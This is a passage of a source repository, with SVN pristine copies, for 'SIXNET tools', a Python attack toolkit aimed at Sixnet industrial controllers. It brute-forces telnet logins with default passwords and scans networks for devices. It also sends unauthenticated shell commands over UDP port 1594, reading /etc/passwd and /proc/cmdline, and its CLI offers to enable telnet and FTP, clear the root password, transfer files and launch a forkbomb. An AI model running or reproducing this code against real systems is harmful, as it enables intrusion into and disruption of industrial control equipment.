57 | output = tn.expect(expect,timeout)
58 |
59 | except socket.timeout, EOFError:
60 | print("Closed, reopening")
61 | tn = telnetlib.Telnet(host, port, timeout)
62 | tn.read_until("login: ")
63 | tn.write(name + "\n")
64 | tn.read_until("Password:")
65 |
66 | #if nothing in the expect array matches then we probably succeeded
67 | if(output[0] == 0):
68 | print("success?")
69 | success = True
70 | correct_password = pwd
71 | correct_username = name
72 | break
73 | else:
74 | print(name + ", " + pwd + " not right")
75 | if(success):
76 | break
77 |
78 | #if successful open a native telnet client
79 | if(success):
80 | print("username: " + correct_username)
81 | print("password: " + correct_password)
82 | #nasty, but as far as I can tell required to start the native telnet client in its own console
83 | #the interact() telnet terminal is too dumb to use
84 | subprocess.Popen(["telnet", host],0,None,None,None,None,None,False,False,None,None,False,None,subprocess.CREATE_NEW_CONSOLE)
85 | else:
86 | print("No luck guessing password")
87 |
88 | if __name__ == "__main__":
89 | main()
--------------------------------------------------------------------------------
/.svn/pristine/26/26c970df516e660e7dbe8e2c0791d4184e37b27f.svn-base:
--------------------------------------------------------------------------------
1 | import telnetlib, socket
2 | import subprocess, sys
3 | from optparse import OptionParser
4 |
5 | def main():
6 | parser = OptionParser()
7 | parser.add_option("-p", "--port",
8 | help="The port to connect to",
9 | dest="port", default=23)
10 | parser.add_option("-d", "--device",
11 | help="The device to poke at",
12 | dest="host", default="127.0.0.1")
13 | parser.add_option("-t", "--timeout",
14 | help="timeout for connection attempts",
15 | dest="range", default=5)
16 | (opt, arg) = parser.parse_args()
17 |
18 | open_connection(opt.host, opt.port, opt.timeout)
19 |
20 | def open_connection(host, port, timeout):
21 | """Tries a set of default/simple usernames and passwords to telnet into the remote host
22 | If successful the credentials are displayed and a new console is spawned for telnet action"""
23 |
24 | user = ["user", "root"]
25 | password = ["password", "Thevoid0", "1234", ""]
26 | expect = ["Last login.*", "login: ", "# "]
27 |
28 | correct_password = None
29 | correct_username = None
30 |
31 | tn = telnetlib.Telnet(host, port, timeout)
32 | success = False
33 | tn.read_until("login: ", 5)
34 |
35 | #while we have not run out of username and password combinations keep trying
36 | for name in user:
37 | for pwd in password:
38 |
39 | tn.write(name + "\n")
40 |
41 | #After so many failed attempts the remote server may terminate the connection
42 | #reopen it
43 | try:
44 | tn.read_until("Password:")
45 | except EOFError:
46 | print("Closed, reopening")
47 | tn = telnetlib.Telnet(host, port, timeout)
48 | tn.read_until("login: ")
49 | tn.write(name + "\n")
50 | tn.read_until("Password:")
51 |
52 |
53 | tn.write(pwd + "\n")
54 |
55 | #look for another password prompt, a terminal, or a connection ended
56 | try:
57 | output = tn.expect(expect,timeout)
58 |
59 | except socket.timeout, EOFError:
60 | print("Closed, reopening")
61 | tn = telnetlib.Telnet(host, port, timeout)
62 | tn.read_until("login: ")
63 | tn.write(name + "\n")
64 | tn.read_until("Password:")
65 |
66 | #if nothing in the expect array matches then we probably succeeded
67 | if(output[0] == 0):
68 | print("success?")
69 | success = True
70 | correct_password = pwd
71 | correct_username = name
72 | break
73 | else:
74 | print(name + ", " + pwd + " not right")
75 | if(success):
76 | break
77 |
78 | #if successful open a native telnet client
79 | if(success):
80 | print("username: " + correct_username)
81 | print("password: " + correct_password)
82 | #nasty, but as far as I can tell required to start the native telnet client in its own console
83 | #the interact() telnet terminal is too dumb to use
84 | subprocess.Popen(["telnet", host],0,None,None,None,None,None,False,False,None,None,False,None,subprocess.CREATE_NEW_CONSOLE)
85 | else:
86 | print("No luck guessing password")
87 |
88 | if __name__ == "__main__":
89 | main()
--------------------------------------------------------------------------------
/SIXNET tools/STX_Networking.py:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | from SUP_message import sup_msg
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 1 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d1cf2f0c077d01e0100636174202f70726f632f636d646c696e65001d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def send_command(ip,command):
15 | """Encodes a shell command, sends it to the given ip, and returns the response"""
16 | pkt = sup_msg()
17 | pkt.shell_command(command)
18 | return send_msg(pkt.create(),ip,SIXNET_port,4)
19 |
20 | def tcp_send_msg(message, address = "255.255.255.255", port = SIXNET_port):
21 | #TODO: Make this work
22 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23 | sock.connect((address, port))
24 |
25 | sock.sendall(message.decode("hex"))
26 | data = sock.recv(2048)
27 | sock.close()
28 | return data
29 |
30 | def send_msg(message, address = "255.255.255.255", port = SIXNET_port, tmout = 1):
31 | """Sends a UDP packet to the specified address on the sixnet port with a Sixnet Universal Protocol formatted message as it contents
32 | returns a sup_msg object if one is received, -1 otherwise"""
33 |
34 | # internet UDP
35 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
36 | sock.settimeout(tmout)
37 | # converts the message from ASCII representation of hex into actual real-life for-realsies hex
38 | sock.sendto(message.decode("hex"), (address, port))
39 |
40 | retdata = None
41 |
42 | while(retdata == None):
43 | try:
44 | retdata, addr = sock.recvfrom(2048) #buffer is 1024
45 | except:
46 | socket.timeout
47 | break
48 |
49 | if(retdata):
50 | return sup_msg(retdata.encode("hex"))
51 |
52 | else:
53 | return -1
54 |
55 | def NOP_scan(address):
56 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
57 |
58 | valid_addresses = []
59 |
60 | pkt = sup_msg()
61 | pkt.nop()
62 |
63 | #if this there is a / then it is a network address
64 | #ex: 192.168.1.0/24
65 | if (address.find("/") == -1):
66 | subnet = False
67 | address = ipaddr.IPv4Address(address)
68 | else:
69 | subnet = True
70 | address = ipaddr.IPv4Network(address)
71 |
72 | #if it is an address then just send that address a NOP
73 | if(not subnet):
74 | print ("Checking " + address.compressed + " ...")
75 |
76 | reply = send_msg(pkt.create(), address.compressed)
77 |
78 | if(reply != -1):
79 | print ("Device found!")
80 | valid_addresses.append(address.compressed)
81 | else:
82 | print ("No response")
83 | #otherwise send one to each address in the subnet
84 | else:
85 | for host in address.iterhosts():
86 | print ("\rChecking " + host.compressed + " ...")
87 | reply = send_msg(pkt.create(), host.compressed)
88 |
89 | if(reply != -1):
90 | print ("device found!")
91 | valid_addresses.append(host.compressed)
92 |
93 | return valid_addresses
94 |
95 | if __name__ == "__main__":
96 | find(sys.argv[1:])
97 |
98 |
99 |
--------------------------------------------------------------------------------
/.svn/pristine/07/07ed3dc349bac26b2caf5a21a83b5233d5d31be8.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | from SUP_message import sup_msg
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 1 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d1cf2f0c077d01e0100636174202f70726f632f636d646c696e65001d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def send_command(ip,command):
15 | """Encodes a shell command, sends it to the given ip, and returns the response"""
16 | pkt = sup_msg()
17 | pkt.shell_command(command)
18 | return send_msg(pkt.create(),ip)
19 |
20 | def tcp_send_msg(message, address = "255.255.255.255", port = SIXNET_port):
21 | #TODO: Make this work
22 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23 | sock.connect((address, port))
24 |
25 | sock.sendall(message.decode("hex"))
26 | data = sock.recv(2048)
27 | sock.close()
28 | return data
29 |
30 | def send_msg(message, address = "255.255.255.255", port = SIXNET_port):
31 | """Sends a UDP packet to the specified address on the sixnet port with a Sixnet Universal Protocol formatted message as it contents
32 | returns a sup_msg object if one is received, -1 otherwise"""
33 |
34 | # internet UDP
35 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
36 | sock.settimeout(timeout)
37 | # converts the message from ASCII representation of hex into actual real-life for-realsies hex
38 | sock.sendto(message.decode("hex"), (address, port))
39 |
40 | retdata = None
41 |
42 | while(retdata == None):
43 | try:
44 | retdata, addr = sock.recvfrom(2048) #buffer is 1024
45 | except:
46 | socket.timeout
47 | break
48 |
49 | if(retdata):
50 | return sup_msg(retdata.encode("hex"))
51 |
52 | else:
53 | return -1
54 |
55 | def NOP_scan(address):
56 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
57 |
58 | valid_addresses = []
59 |
60 | pkt = sup_msg()
61 | pkt.nop()
62 |
63 | #if this there is a / then it is a network address
64 | #ex: 192.168.1.0/24
65 | if (address.find("/") == -1):
66 | subnet = False
67 | address = ipaddr.IPv4Address(address)
68 | else:
69 | subnet = True
70 | address = ipaddr.IPv4Network(address)
71 |
72 | #if it is an address then just send that address a NOP
73 | if(not subnet):
74 | print "Checking " + address.compressed + " ...",
75 |
76 | reply = send_msg(pkt.create(), address.compressed)
77 |
78 | if(reply != -1):
79 | print "Device found!"
80 | valid_addresses.append(address.compressed)
81 | else:
82 | print "No response"
83 | #otherwise send one to each address in the subnet
84 | else:
85 | for host in address.iterhosts():
86 | print "\rChecking " + host.compressed + " ...",
87 | reply = send_msg(pkt.create(), host.compressed)
88 |
89 | if(reply != -1):
90 | print "device found!"
91 | valid_addresses.append(host.compressed)
92 |
93 | return valid_addresses
94 |
95 | if __name__ == "__main__":
96 | find(sys.argv[1:])
97 |
98 |
99 |
--------------------------------------------------------------------------------
/.svn/pristine/05/054c8c60589e83bcaaa0bfa3372cfceef45a4b06.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import sys, getopt
4 | import STX_Networking
5 | import telnet
6 | import sup_shell
7 | import file_manip, attactions
8 | from SUP_message import sup_msg
9 |
10 | welcome = "rev 30ish Mehdi Sabraoui 2013\n"
11 | welcome += " _ _ _ _ _ _ \n"
12 | welcome += " / \ / \ / \ / \ / \ / \ \n"
13 | welcome += " ( S | I | X | N | E | T )\n"
14 | welcome += " \_/ \_/ \_/ \_/ \_/ \_/ \n"
15 | welcome += " _ _ _ _ _ \n"
16 | welcome += " / \ / \ / \ / \ / \ \n"
17 | welcome += " ( T | o | o | l | s ) \n"
18 | welcome += " \_/ \_/ \_/ \_/ \_/ \n"
19 |
20 | usage = "Usage: SIXNET_tools [Options] {target specifications}"
21 |
22 | help = "Sixnet Tools. Tools for poking at Sixnet things.\n"
23 | help += "TARGET SPECIFICATION:\n"
24 | help += "Can pass IP addresses or networks\n"
25 | help += " Ex: 192.168.1.1, 10.1.1.0/24\n"
26 | help += "Options:\n"
27 | help += " -h Displays this help dialog\n"
28 | help += " -s {host | network} NOP scans a host or network for sixnet devices.\n"
29 | help += " -T {host} Enables telnet for the given ip address\n"
30 | help += " -F {host} Enables FTP for the given ip address\n"
31 | help += " -f {host} Gets OS and Firmware information for the given ip address\n"
32 | help += " -S {host} Opens a very dumb shell to the given ip address\n"
33 | help += " -r {host} {src} {dst} Copies a file from the remote sixnet host to the local host\n"
34 | help += " -w {host} {src} {dst} Copies a file from the local host to the remote sixnet host\n"
35 | help += " -p {host} Clears the password for the owner account (likely root)\n"
36 | help += " -l {host} Plays with the discreet outputs. For funsies only\n"
37 | help += " -b {host} furk bamp\n"
38 |
39 | def main(argv):
40 | try:
41 | opts, args = getopt.getopt(argv,"hs:T:F:f:S:b:r:w:p:l:",["help","scan=","enableTelnet=","enableFTP=","fingerprint=","shell=","forkbomb=","read=","write=","clrPass=","blink="])
42 | except getopt.GetoptError:
43 | print welcome
44 | print usage
45 | sys.exit()
46 | for opt, arg in opts:
47 | if opt in ("-h", "--help"):
48 | print help
49 | sys.exit()
50 | elif opt in ("-s", "--scan"): #scan
51 | STX_Networking.NOP_scan(arg)
52 | elif opt in ("-T", "--enableTelnet"): #enable telnet
53 | attactions.enable_telnet(arg)
54 | elif opt in ("-F", "--enableFTP"): #enable ftp
55 | attactions.enable_ftp(arg)
56 | elif opt in ("-f", "--fingerprint"): #fingerprint
57 | attactions.fingerprint(arg)
58 | elif opt in ("-S", "--shell"): #shell
59 | attactions.sup_shell(arg)
60 | elif opt in ("-r", "--read"):
61 | attactions.get_file(arg, args[0], args[1])
62 | elif opt in ("-w", "--write"):
63 | attactions.write_file(arg, args[0], args[1])
64 | elif opt in ("-p", "--clrPass"):
65 | attactions.clear_pass(arg)
66 | elif opt in ("-l", "--blink"):
67 | attactions.blinkenlights(arg)
68 | elif opt in ("-b", "--forkbomb"):
69 | attactions.forkbomb(arg)
70 |
71 | if __name__ == "__main__":
72 | main(sys.argv[1:])
73 |
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/SIXNET tools/SIXNET_tools.py:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import sys, getopt
4 | from attactions import sup_shell
5 | import STX_Networking
6 | import telnet
7 | import file_manip, attactions
8 | from SUP_message import sup_msg
9 |
10 | welcome = "rev 30ish Mehdi Sabraoui 2013\n"
11 | welcome += " _ _ _ _ _ _ \n"
12 | welcome += " / \ / \ / \ / \ / \ / \ \n"
13 | welcome += " ( S | I | X | N | E | T )\n"
14 | welcome += " \_/ \_/ \_/ \_/ \_/ \_/ \n"
15 | welcome += " _ _ _ _ _ \n"
16 | welcome += " / \ / \ / \ / \ / \ \n"
17 | welcome += " ( T | o | o | l | s ) \n"
18 | welcome += " \_/ \_/ \_/ \_/ \_/ \n"
19 |
20 | usage = "Usage: SIXNET_tools [Options] {target specifications}"
21 |
22 | help = "Sixnet Tools. Tools for poking at Sixnet things.\n"
23 | help += "TARGET SPECIFICATION:\n"
24 | help += "Can pass IP addresses or networks\n"
25 | help += " Ex: 192.168.1.1, 10.1.1.0/24\n"
26 | help += "Options:\n"
27 | help += " -h Displays this help dialog\n"
28 | help += " -s {host | network} NOP scans a host or network for sixnet devices.\n"
29 | help += " -T {host} Enables telnet for the given ip address\n"
30 | help += " -F {host} Enables FTP for the given ip address\n"
31 | help += " -f {host} Gets OS and Firmware information for the given ip address\n"
32 | help += " -S {host} Opens a very dumb shell to the given ip address\n"
33 | help += " -r {host} {src} {dst} Copies a file from the remote sixnet host to the local host\n"
34 | help += " -w {host} {src} {dst} Copies a file from the local host to the remote sixnet host\n"
35 | help += " -p {host} Clears the password for the owner account (likely root)\n"
36 | help += " -l {host} Plays with the discreet outputs. For funsies only\n"
37 | help += " -b {host} furk bamp\n"
38 |
39 | def main(argv):
40 | try:
41 | opts, args = getopt.getopt(argv,"hs:T:F:f:S:b:r:w:p:l:",["help","scan=","enableTelnet=","enableFTP=","fingerprint=","shell=","forkbomb=","read=","write=","clrPass=","blink="])
42 | except getopt.GetoptError:
43 | print (welcome)
44 | print (usage)
45 | sys.exit()
46 | if(len(args) == 0):
47 | print (welcome)
48 | print (help)
49 | sys.exit()
50 | for opt, arg in opts:
51 | if opt in ("-h", "--help"):
52 | print (welcome)
53 | print (help)
54 | sys.exit()
55 | elif opt in ("-s", "--scan"): #scan
56 | STX_Networking.NOP_scan(arg)
57 | elif opt in ("-T", "--enableTelnet"): #enable telnet
58 | attactions.enable_telnet(arg)
59 | elif opt in ("-F", "--enableFTP"): #enable ftp
60 | attactions.enable_ftp(arg)
61 | elif opt in ("-f", "--fingerprint"): #fingerprint
62 | attactions.fingerprint(arg)
63 | elif opt in ("-S", "--shell"): #shell
64 | attactions.sup_shell(arg)
65 | elif opt in ("-r", "--read"):
66 | if(len(args) == 2):
67 | attactions.get_file(arg, args[0], args[1])
68 | else:
69 | attactions.get_file(arg, args[0])
70 | elif opt in ("-w", "--write"):
71 | attactions.write_file(arg, args[0], args[1])
72 | elif opt in ("-p", "--clrPass"):
73 | attactions.clear_pass(arg)
74 | elif opt in ("-l", "--blink"):
75 | attactions.blinkenlights(arg)
76 | elif opt in ("-b", "--forkbomb"):
77 | attactions.forkbomb(arg)
78 |
79 | if __name__ == "__main__":
80 | main(sys.argv[1:])
81 |
82 |
83 |
84 |
85 |
--------------------------------------------------------------------------------
/.svn/pristine/fb/fb8fa8a4405c0e32c8476c15bbe6b40344106eb8.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 3 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d1cf2f0c077d01e0100636174202f70726f632f636d646c696e65001d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def find(address):
15 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
16 |
17 | #Send out packets
18 | #internet #UDP
19 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
20 | sock.settimeout(timeout)
21 | NOP_scan(address, sock)
22 |
23 |
24 | def send_msg(message, address = "255.255.255.255"):
25 | """sends a UDP packet to the specified address on the sixnet port with message as it contents
26 | returns a sup_message is one is received, -1 otherwise"""
27 |
28 | # internet UDP
29 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
30 | sock.settimeout(timeout)
31 | # converts the message from ASCII representation of hex into actual real-life for-realsies hex
32 | sock.sendto(message.decode("hex"), (address, SIXNET_port))
33 |
34 | retdata = None
35 |
36 | while(retdata == None):
37 | try:
38 | retdata, addr = sock.recvfrom(2048) #buffer is 1024
39 | except:
40 | socket.timeout
41 | break
42 |
43 | if(retdata):
44 | return SUP_message.sup_msg(retdata.encode("hex"))
45 |
46 | else:
47 | return -1
48 |
49 |
50 | def NOP_scan(address, sock):
51 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
52 |
53 | #if this there is a / then it is a network address
54 | #ex: 192.168.1.0/24
55 | if (address.find("/") == -1):
56 | subnet = False
57 | address = ipaddr.IPv4Address(address)
58 | else:
59 | subnet = True
60 | address = ipaddr.IPv4Network(address)
61 |
62 | #if it is an address then just send that address a NOP
63 | if(not subnet):
64 | print("Checking " + address.compressed + " ...")
65 | #sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
66 | sock.sendto(info_message.decode("hex"), (address.compressed, SIXNET_port))
67 |
68 | data = None
69 | try:
70 | data, addr = sock.recvfrom(1024) #buffer is 1024
71 | except:
72 | socket.timeout
73 |
74 | if(data):
75 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
76 | print ("Reply type: " + sup_msg.command)
77 | print("Reply data: " + sup_msg.data)
78 | else:
79 | print("No response")
80 | #otherwise send one to each address in the subnet
81 | else:
82 | for host in address.iterhosts():
83 | #sock.sendto(SUP_message.SUP_message.NOP,(host.compressed, SIXNET_port))
84 | sock.sendto(info_message.decode("hex"), (host.compressed, SIXNET_port))
85 |
86 | #also check for replies
87 | data = None
88 | try:
89 | data, addr = sock.recvfrom(1024) #buffer is 1024
90 | except:
91 | socket.timeout
92 |
93 | if(data):
94 | print("device found at: " + host.compressed)
95 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
96 | print ("Reply type: " + sup_msg.command)
97 | print("Reply data: " + sup_msg.data)
98 |
99 | if __name__ == "__main__":
100 | find(sys.argv[1:])
101 |
102 |
103 |
--------------------------------------------------------------------------------
/.svn/pristine/40/40fc5901e020c6fcc9dfe312e3959de62c3c75c6.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 3 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d1cf2f0c077d01e0100636174202f70726f632f636d646c696e65001d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def find(address):
15 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
16 |
17 | #Send out packets
18 | #internet #UDP
19 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
20 | sock.settimeout(timeout)
21 | NOP_scan(address, sock)
22 |
23 |
24 | def send_msg(message, address = "255.255.255.255"):
25 | """sends a UDP packet to the specified address on the sixnet port with message as it contents
26 | returns a sup_message is one is received, -1 otherwise"""
27 |
28 | # internet UDP
29 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
30 | sock.settimeout(timeout)
31 | # converts the message from ASCII representation of hex into actual real-life for-realsies hex
32 | sock.sendto(message.decode("hex"), (address, SIXNET_port))
33 |
34 | retdata = None
35 |
36 | while(retdata == None):
37 | try:
38 | retdata, addr = sock.recvfrom(1024) #buffer is 1024
39 | except:
40 | socket.timeout
41 | break
42 |
43 | if(retdata):
44 | return SUP_message.sup_msg(retdata.encode("hex"))
45 |
46 | else:
47 | return -1
48 |
49 |
50 | def NOP_scan(address, sock):
51 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
52 |
53 | #if this there is a / then it is a network address
54 | #ex: 192.168.1.0/24
55 | if (address.find("/") == -1):
56 | subnet = False
57 | address = ipaddr.IPv4Address(address)
58 | else:
59 | subnet = True
60 | address = ipaddr.IPv4Network(address)
61 |
62 | #if it is an address then just send that address a NOP
63 | if(not subnet):
64 | print("Checking " + address.compressed + " ...")
65 | #sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
66 | sock.sendto(info_message.decode("hex"), (address.compressed, SIXNET_port))
67 |
68 | data = None
69 | try:
70 | data, addr = sock.recvfrom(1024) #buffer is 1024
71 | except:
72 | socket.timeout
73 |
74 | if(data):
75 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
76 | print ("Reply type: " + sup_msg.command)
77 | print("Reply data: " + sup_msg.data)
78 | else:
79 | print("No response")
80 | #otherwise send one to each address in the subnet
81 | else:
82 | for host in address.iterhosts():
83 | #sock.sendto(SUP_message.SUP_message.NOP,(host.compressed, SIXNET_port))
84 | sock.sendto(info_message.decode("hex"), (host.compressed, SIXNET_port))
85 |
86 | #also check for replies
87 | data = None
88 | try:
89 | data, addr = sock.recvfrom(1024) #buffer is 1024
90 | except:
91 | socket.timeout
92 |
93 | if(data):
94 | print("device found at: " + host.compressed)
95 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
96 | print ("Reply type: " + sup_msg.command)
97 | print("Reply data: " + sup_msg.data)
98 |
99 |
100 | if __name__ == "__main__":
101 | find(sys.argv[1:])
102 |
103 |
104 |
--------------------------------------------------------------------------------
/.svn/pristine/51/51fe44b24dbe3b71a2e691439651bb05103fd25f.svn-base:
--------------------------------------------------------------------------------
1 | class sup_msg(object):
2 | """SIXNET Universal Protocol message
3 | #field order/size (bytes)
4 | # lead 1
5 | # length 1
6 | # dest 1 or 2
7 | # src 1 or 2
8 | # session 1
9 | # sequence 1
10 | # command 1
11 | # data variable
12 | # crc 2"""
13 | #TODO:
14 |
15 |
16 | commands = {
17 | 0 : "NOP", 1 : "ACK", 2 : "NAK", 3 : "VERS",
18 | 4 : "NIO", 10 : "GETD", 11 : "GETB", 12 : "GETA",
19 | 13 : "GETS", 14 : "PUTD", 15 : "PUTB", 16 : "PUTA",
20 | 17 : "SETD", 18 : "CLRD", 24 : "SCLOCK", 25 : "GCLOCK",
21 | 32 : "IOXCHG", 208 : "Execute command"
22 | }
23 |
24 | #message for a NOP command
25 | #NOP = "7d0009603f603f001500000f".decode("hex")
26 | NOP = "7d07fff0c00000d70f".decode("hex")
27 | #"7d0cfff0c0000c80000000081d0f"
28 | #turn_shit_on = "7d0dffff00050e01000008000011d0f".decode("hex")
29 | #NOP = '}\x07\xff\xff\x00\x05\x00\xd7\x0f'
30 |
31 | def __init__(self, message = None):
32 | if(not message is None):
33 | #if there is a message in the constructor then build a sup_msg from it
34 | self.message = message
35 | self.breakdown(message)
36 |
37 | def shell_command(self, shell_command):
38 | #7d15fff0c0001a00012f6574632f706173737764001d0f
39 | """Creates a sup message from a given command and data"""
40 | self.lead = "}".encode("hex")
41 | self.dst = "ff"
42 | self.src = "f0"
43 | self.session = "c0"
44 | self.sequence = "00"
45 | self.command = "d0"
46 | self.data = "1e0100" + shell_command.encode("hex") + "00"
47 | self.crc = "1d0f"
48 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
49 |
50 | def create(self):
51 | """formats properties into a message to send over"""
52 | msg_str = self.lead
53 | #if the length is less than 16 then the hex value will be one character (0-f). This needs a leading zero so add it
54 | if(self.length < 16):
55 | msg_str += hex(self.length).replace("x","")
56 | else:
57 | msg_str += hex(self.length).replace("0x","")
58 | msg_str += self.dst + self.src + self.session + self.sequence + self.command + self.data + self.crc
59 | return msg_str
60 |
61 | def breakdown(self, message):
62 | """Breaks down the message to its component fields"""
63 | self.lead = message[0:2]
64 |
65 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
66 | self.dst = message[4:6]
67 | self.src = message[6:8]
68 | self.session = message[8:10]
69 | self.sequence = message[10:12]
70 | self.command = message[12:14] #self.commands.get(int(message[12:14],16), str.format("{0} (unrecognized)", message[12:14]))
71 | self.data = message[14:(len(message)-4)] #convert the hex value stored as a string to an int
72 | self.crc = message[-4:] #last 2 bytes
73 |
74 | def print_all(self):
75 | """Prints all the fields of the message"""
76 | print("Lead: " + self.lead)
77 | print("Length: " + str(self.length))
78 | if(self.dst == "ff"):
79 | print("Destination station: ANY")
80 | else:
81 | print("Destination station: " + self.dst)
82 | print("Source Station: " + self.src)
83 | print("Session: " + self.session)
84 | print("Sequence: " + self.sequence)
85 | print("Command: " + self.commands.get(int(self.command), str.format("{0} (unrecognized)", self.command)))
86 | print("Data: " + self.data)
87 | print("CRC: " + self.crc)
--------------------------------------------------------------------------------
/.svn/pristine/4d/4d8be87e96ea61d9edcee13b1e0889b7ea9f85aa.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | from SUP_message import sup_msg
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 3 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d1cf2f0c077d01e0100636174202f70726f632f636d646c696e65001d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def find(address):
15 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
16 |
17 | #Send out packets
18 | #internet #UDP
19 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
20 | sock.settimeout(timeout)
21 | NOP_scan(address, sock)
22 |
23 | def send_command(ip,command):
24 | """Encodes a shell command, sends it to the given ip, and returns the response"""
25 | pkt = sup_msg()
26 | pkt.shell_command(command)
27 | return send_msg(pkt.create(),ip)
28 |
29 | def send_msg(message, address = "255.255.255.255"):
30 | """sends a UDP packet to the specified address on the sixnet port with message as it contents
31 | returns a sup_message is one is received, -1 otherwise"""
32 |
33 | # internet UDP
34 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
35 | sock.settimeout(timeout)
36 | # converts the message from ASCII representation of hex into actual real-life for-realsies hex
37 | sock.sendto(message.decode("hex"), (address, SIXNET_port))
38 |
39 | retdata = None
40 |
41 | while(retdata == None):
42 | try:
43 | retdata, addr = sock.recvfrom(2048) #buffer is 1024
44 | except:
45 | socket.timeout
46 | break
47 |
48 | if(retdata):
49 | return sup_msg(retdata.encode("hex"))
50 |
51 | else:
52 | return -1
53 |
54 |
55 | def NOP_scan(address, sock):
56 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
57 |
58 | #if this there is a / then it is a network address
59 | #ex: 192.168.1.0/24
60 | if (address.find("/") == -1):
61 | subnet = False
62 | address = ipaddr.IPv4Address(address)
63 | else:
64 | subnet = True
65 | address = ipaddr.IPv4Network(address)
66 |
67 | #if it is an address then just send that address a NOP
68 | if(not subnet):
69 | print("Checking " + address.compressed + " ...")
70 | #sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
71 | sock.sendto(info_message.decode("hex"), (address.compressed, SIXNET_port))
72 |
73 | data = None
74 | try:
75 | data, addr = sock.recvfrom(1024) #buffer is 1024
76 | except:
77 | socket.timeout
78 |
79 | if(data):
80 | sup_msg = sup_msg(data.encode("hex"))
81 | print ("Reply type: " + sup_msg.command)
82 | print("Reply data: " + sup_msg.data)
83 | else:
84 | print("No response")
85 | #otherwise send one to each address in the subnet
86 | else:
87 | for host in address.iterhosts():
88 | #sock.sendto(SUP_message.SUP_message.NOP,(host.compressed, SIXNET_port))
89 | sock.sendto(info_message.decode("hex"), (host.compressed, SIXNET_port))
90 |
91 | #also check for replies
92 | data = None
93 | try:
94 | data, addr = sock.recvfrom(1024) #buffer is 1024
95 | except:
96 | socket.timeout
97 |
98 | if(data):
99 | print("device found at: " + host.compressed)
100 | sup_msg = sup_msg(data.encode("hex"))
101 | print ("Reply type: " + sup_msg.command)
102 | print("Reply data: " + sup_msg.data)
103 |
104 | if __name__ == "__main__":
105 | find(sys.argv[1:])
106 |
107 |
108 |
--------------------------------------------------------------------------------
/.svn/pristine/11/11ee53cbaa6923253b0c795844ddae47d277b8ec.svn-base:
--------------------------------------------------------------------------------
1 | import file_manip
2 | from SUP_message import sup_msg
3 | import STX_Networking
4 |
5 | def enable_ftp(ip):
6 | sixnet_config = "/etc/stacfg/general.config"
7 | """Enables telnet on a sixnet device if it is not already enabled"""
8 | print("enabling ftp...")
9 | config = file_manip.get_file(sixnet_config, ip)
10 |
11 | #find telnet part and change it from 0 to 1
12 | new_config = config.replace("enable ftp=0", "enable ftp=1")
